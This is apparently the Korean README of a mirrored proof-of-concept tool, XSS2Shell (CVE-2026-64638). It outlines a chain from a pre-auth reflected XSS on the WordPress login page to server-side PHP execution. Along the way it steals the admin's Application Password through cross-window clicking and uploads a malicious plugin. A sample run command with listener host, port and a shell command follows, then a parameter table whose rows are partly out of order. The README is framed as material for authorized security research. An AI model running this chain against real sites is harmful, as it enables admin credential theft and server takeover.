
WordPress 사전 인증 XSS를 DOM clobbering, REST API 남용, 악성 플러그인 업로드를 통한 서버 측 실행으로 이어지는 RCE로 악용하는 개념 증명. 승인된 테스트만 허용됩니다.
HackSpeak 배포 미러. 본 저장소는 WordSec이 공개한 XSS2Shell 교육용 PoC(CVE-2026-64638)의 배포 미러입니다, 코드는 업스트림과 동일합니다. 업스트림은 MIT License, Copyright (c) 2026 WordSec입니다.
⚠️ 보안 연구 및 승인된 테스트 전용입니다, 본인이 소유했거나 서면 승인을 받아 평가하는 WordPress 사이트에서만 실행하세요. PoC는 임시 게시물을 생성하고 정리하므로, 제3자 관리자나 운영 시스템을 대상으로 하지 마십시오.
**XSS2Shell(CVE-2026-64638)**은 WordPress 로그인 페이지(wp-login.php)에서 발생하는 사전 인증 반사형 XSS로, 전체 체인을 통해 **서버 측 PHP 코드 실행(RCE)**으로 승격될 수 있습니다.
strip_tags()와 WordPress KSES(wp_kses_post()) 간의 파싱 불일치 — <와 태그 이름 사이에 공백을 삽입하면(예: < area), 전자는 일반 텍스트로 보존하고 후자는 허용 목록에 포함된 유효한 HTML 요소(<area>/<div>/<button> 모두 허용 목록에 있음)로 파싱합니다.ajaxurl 하이재킹 → 로그인 페이지의 user-profile.js가 jQuery POST 자동 트리거 → REST API JSONP(_jsonp) → Same Origin Method Execution(SOME,Paulos Yibelo 2022) → 교차 창에서 관리자 Application Password 승인 버튼 클릭 → API 자격 증명 탈취 → <script>가 포함된 페이지 게시 → 악성 플러그인 ZIP 업로드 → PHP 직접 실행(활성화 불필요)python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
| 매개변수 | 설명 |
|---|---|
-t, --target |
의존성: Python 3.7+, 타사 패키지 없음; 관리자가 대상 사이트에 로그인하고 공격자 URL을 열어야 합니다(1회 상호작용).
| WordPress 기본 주소(http/https 포함, 끝 슬래시 자동 정규화) |
-c, --command | 셸 준비 후 실행할 명령어 |
--lhost / --lport | 리슨 주소/포트(lport 0 = 무작위) |
--keep | 임시 게시물 페이지 유지(기본값은 정리) |